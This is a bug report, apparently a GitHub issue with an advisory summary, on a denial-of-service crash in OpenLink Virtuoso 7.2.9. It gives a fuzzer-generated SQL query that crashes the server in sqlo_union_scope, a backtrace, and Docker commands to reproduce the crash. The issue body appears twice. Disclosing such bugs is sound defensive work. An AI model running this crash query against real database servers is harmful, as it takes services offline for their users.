An issue in the sqlo_union_scope component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
The PoC is generated by my DBMS fuzzer.
```SQL
SELECT CASE WHEN EXISTS (
      SELECT 1 FROM t2 WHERE x=1 INTERSECT SELECT 1 FROM t2 WHERE y=2
    )
THEN 1 ELSE 0 END;
```
backtrace:
```c
#0 0x76cd17 (sqlo_union_scope+0x67)
#1 0x76cd10 (sqlo_union_scope+0x60)
#2 0x76cd10 (sqlo_union_scope+0x60)
#3 0x76dc84 (sqlo_scope+0xd84)
#4 0x76d878 (sqlo_scope+0x978)
#5 0x76d2b4 (sqlo_scope+0x3b4)
#6 0x77c27a (sqlo_select_scope+0x5fa)
#7 0x76d347 (sqlo_scope+0x447)
#8 0x70bd81 (sqlo_top_2+0x41)
#9 0x70b9d5 (sqlo_top_1+0x135)
#10 0x70d4c6 (sqlo_top_select+0x156)
#11 0x6b72bf (sql_stmt_comp+0x8bf)
#12 0x6ba122 (sql_compile_1+0x1a62)
#13 0x7c8cd0 (stmt_set_query+0x340)
#14 0x7cabc2 (sf_sql_execute+0x922)
#15 0x7cbf4e (sf_sql_execute_w+0x17e)
#16 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#17 0xe1f01c (future_wrapper+0x3fc)
#18 0xe2691e (_thread_boot+0x11e)
#19 0x7faf7a35b609 (start_thread+0xd9)
#20 0x7faf7a12b133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at sqlo_union_scope
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at sqlo_union_scope
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
SELECT CASE WHEN EXISTS (
      SELECT 1 FROM t2 WHERE x=1 INTERSECT SELECT 1 FROM t2 WHERE y=2
    )
THEN 1 ELSE 0 END;
```
backtrace:
```c
#0 0x76cd17 (sqlo_union_scope+0x67)
#1 0x76cd10 (sqlo_union_scope+0x60)
#2 0x76cd10 (sqlo_union_scope+0x60)
#3 0x76dc84 (sqlo_scope+0xd84)
#4 0x76d878 (sqlo_scope+0x978)
#5 0x76d2b4 (sqlo_scope+0x3b4)
#6 0x77c27a (sqlo_select_scope+0x5fa)
#7 0x76d347 (sqlo_scope+0x447)
#8 0x70bd81 (sqlo_top_2+0x41)
#9 0x70b9d5 (sqlo_top_1+0x135)
#10 0x70d4c6 (sqlo_top_select+0x156)
#11 0x6b72bf (sql_stmt_comp+0x8bf)
#12 0x6ba122 (sql_compile_1+0x1a62)
#13 0x7c8cd0 (stmt_set_query+0x340)
#14 0x7cabc2 (sf_sql_execute+0x922)
#15 0x7cbf4e (sf_sql_execute_w+0x17e)
#16 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#17 0xe1f01c (future_wrapper+0x3fc)
#18 0xe2691e (_thread_boot+0x11e)
#19 0x7faf7a35b609 (start_thread+0xd9)
#20 0x7faf7a12b133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---
